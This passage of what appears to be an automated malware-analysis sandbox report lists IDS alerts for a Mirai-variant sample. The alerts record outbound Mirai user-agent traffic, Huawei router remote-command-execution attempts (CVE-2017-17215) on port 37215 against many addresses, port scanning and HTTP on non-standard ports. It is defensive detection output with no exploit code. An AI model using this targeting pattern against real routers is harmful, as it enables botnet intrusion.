Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:39006 -> 95.126.222.62:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:33372 -> 95.112.181.195:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:48348 -> 95.105.197.139:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:34272 -> 95.5.24.82:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:44074 -> 95.132.107.245:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:53766 -> 95.233.58.100:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:56710 -> 95.203.198.136:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41118 -> 41.92.16.166:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:55982 -> 88.181.26.182:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:39876 -> 88.116.29.139:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:56306 -> 88.246.28.47:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37524 -> 197.27.2.81:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51948 -> 197.210.62.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59574 -> 197.254.241.184:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58466 -> 197.141.38.251:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:42716 -> 88.25.200.113:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33016 -> 197.20.157.126:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44124 -> 197.189.116.196:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53868 -> 197.179.219.102:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45436 -> 197.162.232.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59620 -> 197.169.143.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40180 -> 197.44.48.43:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58888 -> 197.82.38.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55622 -> 197.40.215.134:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59384 -> 197.172.55.26:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36904 -> 197.174.79.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43644 -> 197.101.145.76:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50442 -> 197.90.162.172:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59926 -> 197.150.216.3:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:44870 -> 95.83.180.131:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41764 -> 197.130.131.177:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:50276 -> 95.59.25.147:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:55154 -> 95.48.146.171:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45886 -> 157.83.65.179:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:41000 -> 95.113.141.135:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:46898 -> 88.90.108.220:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:59840 -> 95.242.171.152:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:53968 -> 88.11.75.71:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:53814 -> 95.73.87.5:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:54460 -> 88.46.204.142:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:57404 -> 95.214.120.205:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:44602 -> 88.236.234.118:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44242 -> 41.178.199.67:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:57834 -> 88.145.148.7:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:50024 -> 95.250.117.74:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51800 -> 88.71.160.208:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:52568 -> 112.91.31.112:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:39562 -> 112.82.188.198:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:45900 -> 95.42.250.50:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49634 -> 157.83.163.120:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:56168 -> 95.175.72.47:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:53160 -> 112.205.2.56:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:38210 -> 112.63.12.253:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:49906 -> 88.72.85.90:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51574 -> 95.166.102.208:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:53312 -> 88.4.46.115:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:35198 -> 88.151.253.50:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:44292 -> 88.218.248.10:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:39894 -> 95.96.88.71:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54184 -> 197.166.54.236:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54588 -> 197.208.174.58:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:42290 -> 88.221.112.20:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:49538 -> 95.197.25.27:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59918 -> 197.38.38.224:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52226 -> 197.158.61.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35852 -> 197.210.6.143:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60432 -> 41.246.205.74:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.186.206.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.143.247.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.105.13.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.38.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.128.24.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.212.208.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.251.26.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.72.103.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.193.82.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.250.165.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.140.16.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.188.162.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.20.141.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.215.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.41.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.148.49.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.21.53.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.62.242.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.154.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.200.27.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.119.27.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.163.239.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.154.91.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.51.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.40.215.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.190.182.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.203.244.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.180.225.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.90.162.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.22.128.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.78.196.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.101.26.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.224.114.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.217.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.43.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.48.29.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.207.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.36.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.75.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.188.51.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.123.0.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.69.142.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.62.222.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.203.175.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.71.165.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.96.10.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.123.48.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.55.81.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.26.246.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.183.11.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.247.6.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.237.156.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.130.35.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.197.68.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.131.116.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.185.158.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.27.2.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.231.175.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.51.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.176.140.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.175.180.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.235.199.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.21.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.33.166.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.70.245.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.139.97.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.63.101.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.253.150.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.154.48.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.38.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.130.144.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.245.250.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.84.98.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.23.56.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.95.90.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.147.130.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.213.247.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.100.167.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.1.115.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.247.176.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.78.100.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.111.74.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.205.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.122.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.101.145.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.171.251.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.144.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.149.3.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.34.245.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.44.48.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.36.244.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.206.189.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.150.216.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.203.107.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.170.191.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.32.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.72.212.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.251.185.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.50.200.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.126.50.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.94.208.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.230.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.160.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.139.43.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.58.85.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.74.194.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.84.161.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.13.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.254.241.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.222.40.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.121.205.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.149.94.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.137.219.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.179.219.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.156.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.211.18.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.124.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.22.18.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.15.25.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.226.32.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.50.181.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.128.243.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.32.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.60.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.116.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.172.55.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.244.69.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.245.57.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.150.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.24.63.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.176.33.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.117.170.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.20.157.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.118.218.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.169.143.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.161.223.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.251.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.2.190.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.19.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.174.58.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.174.79.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.162.232.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.132.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.234.179.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.44.169.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.237.179.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.166.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.98.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.186.244.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.137.202.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.232.133.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.148.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.20.183.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.175.186.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.34.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.78.20.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.227.102.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.163.85.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.227.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.15.109.5 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 46116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37054 -> 37215
